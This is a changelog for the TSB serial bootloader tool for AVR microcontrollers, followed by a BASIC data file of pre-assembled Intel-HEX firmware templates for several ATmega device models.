Integrated new code template-datas. Tested and activated new method 
of generating TSB-FW from templates for devices tn87 and tn167.


20121118
Extended features of code-generation-from-templates: Added support 
for ATtiny87 (and ATtiny167, with restrictions), which have different
IO locations that require different search-and-replacement rules for 
being correctly modified.
Commandline interpreter: Improved serial port device name trimming.
Other changes: Default speed lowered to failsafe 9600 bps, that
would be viable with tsb in a wide range of MCU clock.


20120909
Added long-awaited *integration of pre-assembled firmware templates*
into the tsb-software by means of a 'database of datas' included in 
tsb.bas, enabling it to generate customized tsb-firmware files 
standalone for at least those attiny models directly covered by the 
universal assembler programming. All the tsb-stuff in one folder now!
(i hate too many subfolders ;-)
Of course there is still option of making your own tsb-variant 
directly from source (tsb_base.asm), or you may build further
external templates. If tsb cannot find the submitted attiny filename 
in its database, it will search for a hexfile matching that name 
in its executable directory. TSB-templates should fulfil 
these simple requirements: naming like "tn-fancyname-def.hex"; 
not conflicting with existing attinys' (see "attinys.txt"); 
located in the same folder where tsb-executable resides.
Ah, and do not change the interim port assignments (B0 for RXD, 
B1 for TXD), which are essential for autodetecting and changing 
the respective opcodes later on.


20120902
- Added support for One-Wire-Interface (auto-recognition of such
  adaptor; echoed characters won't interfere with the protocol)
- Fixed some bugs and added new ones...


20120812
- Option making customized tsb-firmware file:
Changed template search path from working directory (./) to exepath$ (fb). 
Now it will always find the folder "tsb_tmp" with preassembled 
templates even if tsb.exe has been invoked from any different 
working directory. (Thanks, OD!)
- Minor improvements in coding


20120626
- Fixed some Intel-HEX-conversion issues (explicit thanks go to: WEO) 
- Fixed external verifying; last byte of file that fills all available 
flash memory, will also be checked now :)
- Adjusted to compile under Linux version of fbc and enable using 
linux device names (/dev/ttyS or /dev/ttyUSB) in the commandline 
- Successfully tested and demonstrated full functionality 
(testing platforms Debian 6, Xubuntu 10)
- Strange behaviour with USB-COM-adaptors mitigated; possibly 
non-fbc-specific and/or depending on the particular platform and 
libraries


20110921	
First public release of the commandline tool.


***










tsb/datas.bas


data "m161"
data ":020000020000FC"
data ":040000000C943E001E"
data ":10007C0007C00000F8940FE50DBF04E00EBF13C0DD"
data ":10008C00F894F0E0EEE76591559147E030E8059182"
data ":10009C00501B60403A95D9F74A95C1F75030F1F7AB"
data ":1000AC006030E1F7E7CFEE27FF2703E007BFE895C5"
data ":1000BC00E0E8FFE348E703E007BFE895E058F040CD"
data ":1000CC004A95C9F700E014E0480100E81FE3580125"
data ":1000DC0046E0C0E6D0E06E0130E8F40105910993EA"
data ":1000EC003A95E1F7E050F1404F01E60130E8F501B7"
data ":1000FC000990199001E007BFE89532963250C1F78C"
data ":10010C00E058F04005E007BFE89507B700FDFDCFCC"
data ":10011C00E60130E805911991011709F0FFCF3A95E6"
data ":10012C00C9F7E050F1405F014A9599F604E51FE1EB"
data ":06013C000F931F930895CC"
data ":10018000F8940FE50DBF04E00EBF04B703FD37C1BF"
data ":10019000B99AB898C09AC19AB09B31C1DAD0329658"
data ":1001A0002591283008F428E00A95F1F7B09B05C0A6"
data ":1001B0001A95D1F72A95C1F722C1AA27BB2705E0D6"
data ":1001C000B09BFECFB099FECF1196B09BFDCF0A95A4"
data ":1001D000C9F73D01DDD025912F3F61F0BDD020173B"
data ":1001E000D1F30030F9F798D026F096D016F0A3D0CE"
data ":1001F00005C005C1E0E7FFE330E10FD0EE27FF27A0"
data ":1002000001E2B6D0A9D017D0F9CF7ED00EF4089570"
data ":10021000A0D0689434D09DD030E80591A9D03A950B"
data ":10022000E1F708957BD036F030E8F6DFE030D1F723"
data ":10023000FD33C1F70895033671F3033431F3063605"
data ":1002400089F3063431F00536C9F1053409F442C0AA"
data ":10025000D6C06AD059D00EF4089577D04A805B801A"
data ":1002600000E81EE10A831B830BD04ED02EF008D08D"
data ":10027000FC33D9F7EF3FC9F73FD04882598261D0AC"
data ":1002800064D00990199001E007BFE895329632508A"
data ":10029000C1F7E058F04005E007BFE89507B700FD5B"
data ":1002A000FDCF53D005911991011729F026F001E2F5"
data ":1002B0005FD03AD0FFCF3A95A9F708952FD096F0A6"
data ":1002C00030E8EEBBFFBBE09A0DB352D031963A95C1"
data ":1002D000C1F7F4CF19D036F038D0099104D03A954F"
data ":1002E000E1F7F8CF08950DBBEEBBFFBBE29AE19AB0"
data ":1002F000E199FECF319608952CD027D0059109932E"
data ":100300003A95E1F726D021C007D02EF01ED024D098"
data ":1003100009933A95E1F708950FE32AD01DD0E894A8"
data ":10032000013209F068940895E0E0FDE3E058F04000"
data ":1003300008D0E1F70895F8DF0FEFD5DFF430E9F7E3"
data ":1003400008D003E007BFE8950895C0E6D0E030E8A4"
data ":100350000895E0E8FFE30895C09AB099FECF18E051"
data ":100360001CD016D00695B09900681A95D1F710C028"
data ":100370000FD00CD018E000FD05D000FF07D0069587"
data ":100380001A95C9F7B99AB898C19A02C0B99AC19892"
data ":10039000D30152970000E8F70895D301B695A795C9"
data ":0203A000F8CF94"
data ":1003F000747362681CF01E940140801EFF010C940F"
data ":00000001FF"
data "m162"
data ":020000020000FC"
data ":103E0000F8940FEF0DBF04E00EBF04B703FD16C01A"
data ":103E1000B99AB898C09AC19A1196F1F7B09B0EC0A2"
data ":103E2000BFD032962591283008F428E00A95F1F7A2"
data ":103E3000B09B07C01A95D1F72A95C1F7A6D00C946C"
data ":103E40000000AA27BB2705E0B09BFECFB099FECFAC"
data ":103E50001196B09BFDCF0A95C9F73D01C0D02591C1"
data ":103E60002F3F59F0A0D02017D1F30030F9F776D0CA"
data ":103E70001EF074D00EF080D0E1CFE0EFFFE330E130"
data ":103E80000FD0EE27FF2701E29AD08DD034D0F9CFA2"
data ":103E90005DD00EF4089584D075D019D081D030E86B"
data ":103EA00074D005918CD03A95D9F7089559D02EF059"
data ":103EB000F6DFE038D9F7FD33C9F7089557D046D07B"
data ":103EC0002EF005D0FD33D9F7EF37C9F7089564D048"
data ":103ED0000990199001E007BFE89532963250C1F77A"
data ":103EE000E058F04005E007BFE89507B700FDFDCFBB"
data ":103EF000E058FF4F0895033689F2033449F206363D"
data ":103F0000A9F20634D9F2053659F0053409F096CFF6"
data ":103F10001DD096F041D0099110D03A95E1F7F8CF35"
data ":103F20001FD056F030E8EEBBFFBBE09A0DB347D090"
data ":103F300031963A95C1F7F4CF08950DBBEEBBFFBBA8"
data ":103F4000E29AE19AE199FECF3196089507D02EF0DA"
data ":103F500023D029D009933A95E1F708950FE32FD0A4"
data ":103F600022D0E894013209F06894089519D0E058FD"
data ":103F7000F04008D0E1F70895F9DF0FEFDEDFF4300D"
data ":103F8000E9F70ED003E007BFE89507B700FDFDCFC6"
data ":103F900001E107BFE8950895C0E0D1E030E8089559"
data ":103FA000E0E8FDE30895C09AB099FECF18E01CD078"
data ":103FB00016D00695B09900681A95D1F710C00FD0A9"
data ":103FC0000CD018E000FD05D000FF07D006951A952B"
data ":103FD000C9F7B99AB898C19A02C0B99AC198D301E1"
data ":103FE00052970000E8F70895D301B695A795F8CF4A"
data ":103FF0005453427F1CF01E940440C01EFF01AAAA25"
data ":00000001FF"
data "m163"
data ":020000020000FC"
data ":040000000C943E001E"
data ":10007C0007C00000F8940FE50DBF04E00EBF13C0DD"
data ":10008C00F894F0E0EEE76591559147E030E8059182"
data ":10009C00501B60403A95D9F74A95C1F75030F1F7AB"
data ":1000AC006030E1F7E7CFEE27FF2703E007BFE895C5"
data ":1000BC00E0E8FFE348E703E007BFE895E058F040CD"
data ":1000CC004A95C9F700E014E0480100E81FE3580125"
data ":1000DC0046E0C0E6D0E06E0130E8F40105910993EA"
data ":1000EC003A95E1F7E050F1404F01E60130E8F501B7"
data ":1000FC000990199001E007BFE89532963250C1F78C"
data ":10010C00E058F04005E007BFE89507B700FDFDCFCC"
data ":10011C00E60130E805911991011709F0FFCF3A95E6"
data ":10012C00C9F7E050F1405F014A9599F604E51FE1EB"
data ":06013C000F931F930895CC"
data ":10018000F8940FE50DBF04E00EBF04B703FD37C1BF"
data ":10019000B99AB898C09AC19AB09B31C1DAD0329658"
data ":1001A0002591283008F428E00A95F1F7B09B05C0A6"
data ":1001B0001A95D1F72A95C1F722C1AA27BB2705E0D6"
data ":1001C000B09BFECFB099FECF1196B09BFDCF0A95A4"
data ":1001D000C9F73D01DDD025912F3F61F0BDD020173B"
data ":1001E000D1F30030F9F798D026F096D016F0A3D0CE"
data ":1001F00005C005C1E0E7FFE330E10FD0EE27FF27A0"
data ":1002000001E2B6D0A9D017D0F9CF7ED00EF4089570"
data ":10021000A0D0689434D09DD030E80591A9D03A950B"
data ":10022000E1F708957BD036F030E8F6DFE030D1F723"
data ":10023000FD33C1F70895033671F3033431F3063605"
data ":1002400089F3063431F00536C9F1053409F442C0AA"
data ":10025000D6C06AD059D00EF4089577D04A805B801A"
data ":1002600000E81EE10A831B830BD04ED02EF008D08D"
data ":10027000FC33D9F7EF3FC9F73FD04882598261D0AC"
data ":1002800064D00990199001E007BFE895329632508A"
data ":10029000C1F7E058F04005E007BFE89507B700FD5B"
data ":1002A000FDCF53D005911991011729F026F001E2F5"
data ":1002B0005FD03AD0FFCF3A95A9F708952FD096F0A6"
data ":1002C00030E8EEBBFFBBE09A0DB352D031963A95C1"
data ":1002D000C1F7F4CF19D036F038D0099104D03A954F"
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data ":1001C000189BFECF1899FECF1196189BFDCF0A956C"
data ":1001D000C9F73D01DBD025912F3F61F0BBD020173F"
data ":1001E000D1F30030F9F796D026F094D016F0A1D0D4"
data ":1001F00005C005C1E0E7FFE330E10FD0EE27FF27A0"
data ":1002000001E2B4D0A7D017D0F9CF7CD00EF4089576"
data ":100210009ED0689434D09BD030E80591A7D03A9511"
data ":10022000E1F7089579D036F030E8F6DFE030D1F725"
data ":10023000FD33C1F70895033671F3033431F3063605"
data ":1002400089F3063431F00536C9F1053409F441C0AB"
data ":10025000D6C068D057D00EF4089575D04A805B8020"
data ":1002600000E81EE10A831B830BD04CD02EF008D08F"
data ":10027000FC33D9F7EF3FC9F73DD0488259825FD0B0"
data ":1002800062D00990199001E007BFE895329632508C"
data ":10029000C1F7E058F04005E007BFE89507B700FD5B"
data ":1002A000FDCF51D005911991011729F026F001E2F7"
data ":1002B0005DD038D0FFCF3A95A9F708952DD08EF0B4"
data ":1002C00030E8E1BDF89A00B551D031963A95C9F7BA"
data ":1002D000F5CF18D036F037D0099104D03A95E1F730"
data ":1002E000F8CF089500BDE1BDFA9AF99AF999FECFC9"
data ":1002F000319608952CD027D0059109933A95E1F7CE"
data ":1003000026D021C007D02EF01ED024D009933A95D4"
data ":10031000E1F708950FE32AD01DD0E894013209F0E7"
data ":1003200068940895E0E0FDE3E058F04008D0E1F77C"
data ":100330000895F8DF0FEFD6DFF330E9F708D003E0D8"
data ":1003400007BFE8950895C0E0D1E030E80895E0E8FF"
data ":10035000FFE30895289A1899FECF18E01CD016D014"
data ":100360000695189900681A95D1F710C00FD00CD0D7"
data ":1003700018E000FD05D000FF07D006951A95C9F7D3"
data ":10038000219A2098299A02C0219A2998D30152973C"
data ":0E0390000000E8F70895D301B695A795F8CFC1"
data ":1003F000747362681CF01E940E40801EFF000C9403"
data ":00000001FF"
data "m16hva"
data ":020000020000FC"
data ":040000000C943E001E"
data ":10007C0007C00000F8940FEF0DBF02E00EBF13C0D5"
data ":10008C00F894F0E0EEE76591559147E030E8059182"
data ":10009C00501B60403A95D9F74A95C1F75030F1F7AB"
data ":1000AC006030E1F7E7CFEE27FF2703E007BFE895C5"
data ":1000BC00E0E8FFE348E703E007BFE895E058F040CD"
data ":1000CC004A95C9F700E014E0480100E81FE3580125"
data ":1000DC0046E0C0E0D1E06E0130E8F40105910993EF"
data ":1000EC003A95E1F7E050F1404F01E60130E8F501B7"
data ":1000FC000990199001E007BFE89532963250C1F78C"
data ":10010C00E058F04005E007BFE89507B700FDFDCFCC"
data ":10011C00E60130E805911991011709F0FFCF3A95E6"
data ":10012C00C9F7E050F1405F014A9599F602E51FE1ED"
data ":06013C000F931F930895CC"
data ":10018000F8940FEF0DBF02E00EBF04B703FD37C1B7"
data ":10019000219A2098289A299A1196F1F7189B2FC135"
data ":1001A000D6D032962591283008F428E00A95F1F748"
data ":1001B000189B05C01A95D1F72A95C1F720C1AA2727"
data ":1001C000BB2705E0189BFECF1899FECF1196189B10"
data ":1001D000FDCF0A95C9F73D0125912F3F59F0BAD0BF"
data ":1001E0002017D1F30030F9F776D01EF074D00EF05E"
data ":1001F000A0D005C1E0E7FFE330E10FD0EE27FF27F5"
data ":1002000001E2B4D0A7D02ED0F9CF5DD00EF408957E"
data ":100210009ED0689468D09BD030E80591A7D03A95DD"
data ":10022000E1F708955AD036F030E8F6DFE030D1F744"
data ":10023000FD33C1F7089576D046D00EF4089583D0EB"
data ":100240004A805B8000E81EE10A831B834DD03BD0CF"
data ":100250002EF04AD0FC33D9F7EF3FC9F72CD04882B3"
data ":10026000598241C00336B9F2033479F20636D1F22D"
data ":10027000063409F3053619F0053461F0C0C02DD0FD"
data ":100280008EF030E8E1BDF89A00B570D031963A951D"
data ":10029000C9F7F5CF18D036F056D0099104D03A9569"
data ":1002A000E1F7F8CF089500BDE1BDFA9AF99AF999FE"
data ":1002B000FECF319608954BD046D0059109933A95DB"
data ":1002C000E1F745D040C007D02EF03DD043D0099390"
data ":1002D0003A95E1F708950FE349D03CD0E894013214"
data ":1002E00009F0689408952BD02ED00990199001E060"
data ":1002F00007BFE89532963250C1F7E058F04005E06C"
data ":1003000007BFE89507B700FDFDCF1DD005911991F6"
data ":10031000011729F026F001E229D004D0FFCF3A9549"
data ":10032000A9F70895E0E0FDE3E058F04008D0E1F7D8"
data ":100330000895F8DF0FEFB7DFF330E9F708D003E0F7"
data ":1003400007BFE8950895C0E0D1E030E80895E0E8FF"
data ":10035000FFE30895289A1899FECF18E01CD016D014"
data ":100360000695189900681A95D1F710C00FD00CD0D7"
data ":1003700018E000FD05D000FF07D006951A95C9F7D3"
data ":10038000219A2098299A02C0219A2998D30152973C"
data ":0E0390000000E8F70895D301B695A795F8CFC1"
data ":1003F0007473627F1CF01E940C40801EFF000C94EE"
data ":00000001FF"
data "m16hvb"
data ":020000020000FC"
data ":103E0000F8940FEF0DBF04E00EBF04B703FD16C01A"
data ":103E1000219A2098289A299A1196F1F7189B0EC09A"
data ":103E2000BFD032962591283008F428E00A95F1F7A2"
data ":103E3000189B07C01A95D1F72A95C1F7A6D00C9404"
data ":103E40000000AA27BB2705E0189BFECF1899FECFDC"
data ":103E50001196189BFDCF0A95C9F73D01C0D0259159"
data ":103E60002F3F59F0A0D02017D1F30030F9F776D0CA"
data ":103E70001EF074D00EF080D0E1CFE0EFFFE330E130"
data ":103E80000FD0EE27FF2701E29AD08DD034D0F9CFA2"
data ":103E90005DD00EF4089584D075D019D081D030E86B"
data ":103EA00074D005918CD03A95D9F7089559D02EF059"
data ":103EB000F6DFE038D9F7FD33C9F7089557D046D07B"
data ":103EC0002EF005D0FD33D9F7EF37C9F7089564D048"
data ":103ED0000990199001E007BFE89532963250C1F77A"
data ":103EE000E058F04005E007BFE89507B700FDFDCFBB"
data ":103EF000E058FF4F0895033689F2033449F206363D"
data ":103F0000A9F20634D9F2053659F0053409F096CFF6"
data ":103F10001DD096F041D0099110D03A95E1F7F8CF35"
data ":103F20001FD056F030E8E1BDF2BDF89A00B547D099"
data ":103F300031963A95C1F7F4CF089500BDE1BDF2BDC9"
data ":103F4000FA9AF99AF999FECF3196089507D02EF092"
data ":103F500023D029D009933A95E1F708950FE32FD0A4"
data ":103F600022D0E894013209F06894089519D0E058FD"
data ":103F7000F04008D0E1F70895F9DF0FEFDEDFF4300D"
data ":103F8000E9F70ED003E007BFE89507B700FDFDCFC6"
data ":103F900001E107BFE8950895C0E0D1E030E8089559"
data ":103FA000E0E8FDE30895289A1899FECF18E01CD0A8"
data ":103FB00016D00695189900681A95D1F710C00FD041"
data ":103FC0000CD018E000FD05D000FF07D006951A952B"
data ":103FD000C9F7219A2098299A02C0219A2998D301D9"
data ":103FE00052970000E8F70895D301B695A795F8CF4A"
data ":103FF0005453427F1CF01E940D40C01EFF01AAAA1C"
data ":00000001FF"
data "m16m1"
data ":020000020000FC"
data ":103E0000F8940FEF0DBF04E00EBF04B703FD16C01A"
data ":103E1000219A2098289A299A1196F1F7189B0EC09A"
data ":103E2000BFD032962591283008F428E00A95F1F7A2"
data ":103E3000189B07C01A95D1F72A95C1F7A6D00C9404"
data ":103E40000000AA27BB2705E0189BFECF1899FECFDC"
data ":103E50001196189BFDCF0A95C9F73D01C0D0259159"
data ":103E60002F3F59F0A0D02017D1F30030F9F776D0CA"
data ":103E70001EF074D00EF080D0E1CFE0EFFFE330E130"
data ":103E80000FD0EE27FF2701E29AD08DD034D0F9CFA2"
data ":103E90005DD00EF4089584D075D019D081D030E86B"
data ":103EA00074D005918CD03A95D9F7089559D02EF059"
data ":103EB000F6DFE038D9F7FD33C9F7089557D046D07B"
data ":103EC0002EF005D0FD33D9F7EF37C9F7089564D048"
data ":103ED0000990199001E007BFE89532963250C1F77A"
data ":103EE000E058F04005E007BFE89507B700FDFDCFBB"
data ":103EF000E058FF4F0895033689F2033449F206363D"
data ":103F0000A9F20634D9F2053659F0053409F096CFF6"
data ":103F10001DD096F041D0099110D03A95E1F7F8CF35"
data ":103F20001FD056F030E8E1BDF2BDF89A00B547D099"
data ":103F300031963A95C1F7F4CF089500BDE1BDF2BDC9"
data ":103F4000FA9AF99AF999FECF3196089507D02EF092"
data ":103F500023D029D009933A95E1F708950FE32FD0A4"
data ":103F600022D0E894013209F06894089519D0E058FD"
data ":103F7000F04008D0E1F70895F9DF0FEFDEDFF4300D"
data ":103F8000E9F70ED003E007BFE89507B700FDFDCFC6"
data ":103F900001E107BFE8950895C0E0D1E030E8089559"
data ":103FA000E0E8FDE30895289A1899FECF18E01CD0A8"
data ":103FB00016D00695189900681A95D1F710C00FD041"
data ":103FC0000CD018E000FD05D000FF07D006951A952B"
data ":103FD000C9F7219A2098299A02C0219A2998D301D9"
data ":103FE00052970000E8F70895D301B695A795F8CF4A"
data ":103FF0005453427F1CF01E948440C01EFF01AAAAA5"
data ":00000001FF"
data "m16u2"
data ":020000020000FC"
data ":103E0000F8940FEF0DBF02E00EBF04B703FD16C01C"
data ":103E1000219A2098289A299A1196F1F7189B0EC09A"
data ":103E2000BFD032962591283008F428E00A95F1F7A2"
data ":103E3000189B07C01A95D1F72A95C1F7A6D00C9404"
data ":103E40000000AA27BB2705E0189BFECF1899FECFDC"
data ":103E50001196189BFDCF0A95C9F73D01C0D0259159"
data ":103E60002F3F59F0A0D02017D1F30030F9F776D0CA"
data ":103E70001EF074D00EF080D0E1CFE0EFFFE330E130"
data ":103E80000FD0EE27FF2701E29AD08DD034D0F9CFA2"
data ":103E90005DD00EF4089584D075D019D081D030E86B"
data ":103EA00074D005918CD03A95D9F7089559D02EF059"
data ":103EB000F6DFE038D9F7FD33C9F7089557D046D07B"
data ":103EC0002EF005D0FD33D9F7EF37C9F7089564D048"
data ":103ED0000990199001E007BFE89532963250C1F77A"
data ":103EE000E058F04005E007BFE89507B700FDFDCFBB"
data ":103EF000E058FF4F0895033689F2033449F206363D"
data ":103F0000A9F20634D9F2053659F0053409F096CFF6"
data ":103F10001DD096F041D0099110D03A95E1F7F8CF35"
data ":103F20001FD056F030E8E1BDF2BDF89A00B547D099"
data ":103F300031963A95C1F7F4CF089500BDE1BDF2BDC9"
data ":103F4000FA9AF99AF999FECF3196089507D02EF092"
data ":103F500023D029D009933A95E1F708950FE32FD0A4"
data ":103F600022D0E894013209F06894089519D0E058FD"
data ":103F7000F04008D0E1F70895F9DF0FEFDEDFF4300D"
data ":103F8000E9F70ED003E007BFE89507B700FDFDCFC6"
data ":103F900001E107BFE8950895C0E0D1E030E8089559"
data ":103FA000E0E8FDE30895289A1899FECF18E01CD0A8"
data ":103FB00016D00695189900681A95D1F710C00FD041"
data ":103FC0000CD018E000FD05D000FF07D006951A952B"
data ":103FD000C9F7219A2098299A02C0219A2998D301D9"
data ":103FE00052970000E8F70895D301B695A795F8CF4A"
data ":103FF0005453427F1CF01E948940C01EFF01AAAAA0"
data ":00000001FF"
data "m16u4"
data ":020000020000FC"
data ":103E0000F8940FEF0DBF05E00EBF04B703FD16C019"
data ":103E1000219A2098289A299A1196F1F7189B0EC09A"
data ":103E2000BFD032962591283008F428E00A95F1F7A2"
data ":103E3000189B07C01A95D1F72A95C1F7A6D00C9404"
data ":103E40000000AA27BB2705E0189BFECF1899FECFDC"
data ":103E50001196189BFDCF0A95C9F73D01C0D0259159"
data ":103E60002F3F59F0A0D02017D1F30030F9F776D0CA"
data ":103E70001EF074D00EF080D0E1CFE0EFFFE330E130"
data ":103E80000FD0EE27FF2701E29AD08DD034D0F9CFA2"
data ":103E90005DD00EF4089584D075D019D081D030E86B"
data ":103EA00074D005918CD03A95D9F7089559D02EF059"
data ":103EB000F6DFE038D9F7FD33C9F7089557D046D07B"
data ":103EC0002EF005D0FD33D9F7EF37C9F7089564D048"
data ":103ED0000990199001E007BFE89532963250C1F77A"
data ":103EE000E058F04005E007BFE89507B700FDFDCFBB"
data ":103EF000E058FF4F0895033689F2033449F206363D"
data ":103F0000A9F20634D9F2053659F0053409F096CFF6"
data ":103F10001DD096F041D0099110D03A95E1F7F8CF35"
data ":103F20001FD056F030E8E1BDF2BDF89A00B547D099"
data ":103F300031963A95C1F7F4CF089500BDE1BDF2BDC9"
data ":103F4000FA9AF99AF999FECF3196089507D02EF092"
data ":103F500023D029D009933A95E1F708950FE32FD0A4"
data ":103F600022D0E894013209F06894089519D0E058FD"
data ":103F7000F04008D0E1F70895F9DF0FEFDEDFF4300D"
data ":103F8000E9F70ED003E007BFE89507B700FDFDCFC6"
data ":103F900001E107BFE8950895C0E0D1E030E8089559"
data ":103FA000E0E8FDE30895289A1899FECF18E01CD0A8"
data ":103FB00016D00695189900681A95D1F710C00FD041"
data ":103FC0000CD018E000FD05D000FF07D006951A952B"
data ":103FD000C9F7219A2098299A02C0219A2998D301D9"
data ":103FE00052970000E8F70895D301B695A795F8CF4A"
data ":103FF0005453427F1CF01E948840C01EFF01AAAAA1"
data ":00000001FF"
data "m324a"
data ":020000020000FC"
data ":107E0000F8940FEF0DBF08E00EBF04B703FD16C0D6"
data ":107E1000219A2098289A299A1196F1F7189B0EC05A"
data ":107E2000BFD032962591283008F428E00A95F1F762"
data ":107E3000189B07C01A95D1F72A95C1F7A6D00C94C4"
data ":107E40000000AA27BB2705E0189BFECF1899FECF9C"
data ":107E50001196189BFDCF0A95C9F73D01C0D0259119"
data ":107E60002F3F59F0A0D02017D1F30030F9F776D08A"
data ":107E70001EF074D00EF080D0E1CFE0EFFFE730E1EC"
data ":107E80000FD0EE27FF2701E29AD08DD034D0F9CF62"
data ":107E90005DD00EF4089584D075D019D081D030E82B"
data ":107EA00074D005918CD03A95D9F7089559D02EF019"
data ":107EB000F6DFE038D9F7FD37C9F7089557D046D037"
data ":107EC0002EF005D0FD37D9F7EF37C9F7089564D004"
data ":107ED0000990199001E007BFE89532963250C1F73A"
data ":107EE000E058F04005E007BFE89507B700FDFDCF7B"
data ":107EF000E058FF4F0895033689F2033449F20636FD"
data ":107F0000A9F20634D9F2053659F0053409F096CFB6"
data ":107F10001DD096F041D0099110D03A95E1F7F8CFF5"
data ":107F20001FD056F030E8E1BDF2BDF89A00B547D059"
data ":107F300031963A95C1F7F4CF089500BDE1BDF2BD89"
data ":107F4000FA9AF99AF999FECF3196089507D02EF052"
data ":107F500023D029D009933A95E1F708950FE32FD064"
data ":107F600022D0E894013209F06894089519D0E058BD"
data ":107F7000F04008D0E1F70895F9DF0FEFDEDFF630CB"
data ":107F8000E9F70ED003E007BFE89507B700FDFDCF86"
data ":107F900001E107BFE8950895C0E0D1E030E8089519"
data ":107FA000E0E8FDE70895289A1899FECF18E01CD064"
data ":107FB00016D00695189900681A95D1F710C00FD001"
data ":107FC0000CD018E000FD05D000FF07D006951A95EB"
data ":107FD000C9F7219A2098299A02C0219A2998D30199"
data ":107FE00052970000E8F70895D301B695A795F8CF0A"
data ":107FF0005453427F1CF01E951540C03EFF03AAAAB1"
data ":00000001FF"
data "m324pa"
data ":020000020000FC"
data ":107E0000F8940FEF0DBF08E00EBF04B703FD16C0D6"
data ":107E1000219A2098289A299A1196F1F7189B0EC05A"
data ":107E2000BFD032962591283008F428E00A95F1F762"
data ":107E3000189B07C01A95D1F72A95C1F7A6D00C94C4"
data ":107E40000000AA27BB2705E0189BFECF1899FECF9C"
data ":107E50001196189BFDCF0A95C9F73D01C0D0259119"
data ":107E60002F3F59F0A0D02017D1F30030F9F776D08A"
data ":107E70001EF074D00EF080D0E1CFE0EFFFE730E1EC"
data ":107E80000FD0EE27FF2701E29AD08DD034D0F9CF62"
data ":107E90005DD00EF4089584D075D019D081D030E82B"
data ":107EA00074D005918CD03A95D9F7089559D02EF019"
data ":107EB000F6DFE038D9F7FD37C9F7089557D046D037"
data ":107EC0002EF005D0FD37D9F7EF37C9F7089564D004"
data ":107ED0000990199001E007BFE89532963250C1F73A"
data ":107EE000E058F04005E007BFE89507B700FDFDCF7B"
data ":107EF000E058FF4F0895033689F2033449F20636FD"
data ":107F0000A9F20634D9F2053659F0053409F096CFB6"
data ":107F10001DD096F041D0099110D03A95E1F7F8CFF5"
data ":107F20001FD056F030E8E1BDF2BDF89A00B547D059"
data ":107F300031963A95C1F7F4CF089500BDE1BDF2BD89"
data ":107F4000FA9AF99AF999FECF3196089507D02EF052"
data ":107F500023D029D009933A95E1F708950FE32FD064"
data ":107F600022D0E894013209F06894089519D0E058BD"
data ":107F7000F04008D0E1F70895F9DF0FEFDEDFF630CB"
data ":107F8000E9F70ED003E007BFE89507B700FDFDCF86"
data ":107F900001E107BFE8950895C0E0D1E030E8089519"
data ":107FA000E0E8FDE70895289A1899FECF18E01CD064"
data ":107FB00016D00695189900681A95D1F710C00FD001"
data ":107FC0000CD018E000FD05D000FF07D006951A95EB"
data ":107FD000C9F7219A2098299A02C0219A2998D30199"
data ":107FE00052970000E8F70895D301B695A795F8CF0A"
data ":107FF0005453427F1CF01E951140C03EFF03AAAAB5"
data ":00000001FF"
data "m324p"
data ":020000020000FC"
data ":107E0000F8940FEF0DBF08E00EBF04B703FD16C0D6"
data ":107E1000219A2098289A299A1196F1F7189B0EC05A"
data ":107E2000BFD032962591283008F428E00A95F1F762"
data ":107E3000189B07C01A95D1F72A95C1F7A6D00C94C4"
data ":107E40000000AA27BB2705E0189BFECF1899FECF9C"
data ":107E50001196189BFDCF0A95C9F73D01C0D0259119"
data ":107E60002F3F59F0A0D02017D1F30030F9F776D08A"
data ":107E70001EF074D00EF080D0E1CFE0EFFFE730E1EC"
data ":107E80000FD0EE27FF2701E29AD08DD034D0F9CF62"
data ":107E90005DD00EF4089584D075D019D081D030E82B"
data ":107EA00074D005918CD03A95D9F7089559D02EF019"
data ":107EB000F6DFE038D9F7FD37C9F7089557D046D037"
data ":107EC0002EF005D0FD37D9F7EF37C9F7089564D004"
data ":107ED0000990199001E007BFE89532963250C1F73A"
data ":107EE000E058F04005E007BFE89507B700FDFDCF7B"
data ":107EF000E058FF4F0895033689F2033449F20636FD"
data ":107F0000A9F20634D9F2053659F0053409F096CFB6"
data ":107F10001DD096F041D0099110D03A95E1F7F8CFF5"
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data ":107F600022D0E894013209F06894089519D0E058BD"
data ":107F7000F04008D0E1F70895F9DF0FEFDEDFF630CB"
data ":107F8000E9F70ED003E007BFE89507B700FDFDCF86"
data ":107F900001E107BFE8950895C0E0D1E030E8089519"
data ":107FA000E0E8FDE70895289A1899FECF18E01CD064"
data ":107FB00016D00695189900681A95D1F710C00FD001"
data ":107FC0000CD018E000FD05D000FF07D006951A95EB"
data ":107FD000C9F7219A2098299A02C0219A2998D30199"
data ":107FE00052970000E8F70895D301B695A795F8CF0A"
data ":107FF0005453427F1CF01E950B40C03EFF03AAAABB"
data ":00000001FF"
data "m32a"
data ":020000020000FC"
data ":107E0000F8940FE50DBF08E00EBF04B703FD16C0E0"
data ":107E1000B99AB898C09AC19A1196F1F7B09B0EC062"
data ":107E2000BFD032962591283008F428E00A95F1F762"
data ":107E3000B09B07C01A95D1F72A95C1F7A6D00C942C"
data ":107E40000000AA27BB2705E0B09BFECFB099FECF6C"
data ":107E50001196B09BFDCF0A95C9F73D01C0D0259181"
data ":107E60002F3F59F0A0D02017D1F30030F9F776D08A"
data ":107E70001EF074D00EF080D0E1CFE0EFFFE730E1EC"
data ":107E80000FD0EE27FF2701E29AD08DD034D0F9CF62"
data ":107E90005DD00EF4089584D075D019D081D030E82B"
data ":107EA00074D005918CD03A95D9F7089559D02EF019"
data ":107EB000F6DFE038D9F7FD37C9F7089557D046D037"
data ":107EC0002EF005D0FD37D9F7EF37C9F7089564D004"
data ":107ED0000990199001E007BFE89532963250C1F73A"
data ":107EE000E058F04005E007BFE89507B700FDFDCF7B"
data ":107EF000E058FF4F0895033689F2033449F20636FD"
data ":107F0000A9F20634D9F2053659F0053409F096CFB6"
data ":107F10001DD096F041D0099110D03A95E1F7F8CFF5"
data ":107F20001FD056F030E8EEBBFFBBE09A0DB347D050"
data ":107F300031963A95C1F7F4CF08950DBBEEBBFFBB68"
data ":107F4000E29AE19AE199FECF3196089507D02EF09A"
data ":107F500023D029D009933A95E1F708950FE32FD064"
data ":107F600022D0E894013209F06894089519D0E058BD"
data ":107F7000F04008D0E1F70895F9DF0FEFDEDFF630CB"
data ":107F8000E9F70ED003E007BFE89507B700FDFDCF86"
data ":107F900001E107BFE8950895C0E6D0E030E8089514"
data ":107FA000E0E8FDE70895C09AB099FECF18E01CD034"
data ":107FB00016D00695B09900681A95D1F710C00FD069"
data ":107FC0000CD018E000FD05D000FF07D006951A95EB"
data ":107FD000C9F7B99AB898C19A02C0B99AC198D301A1"
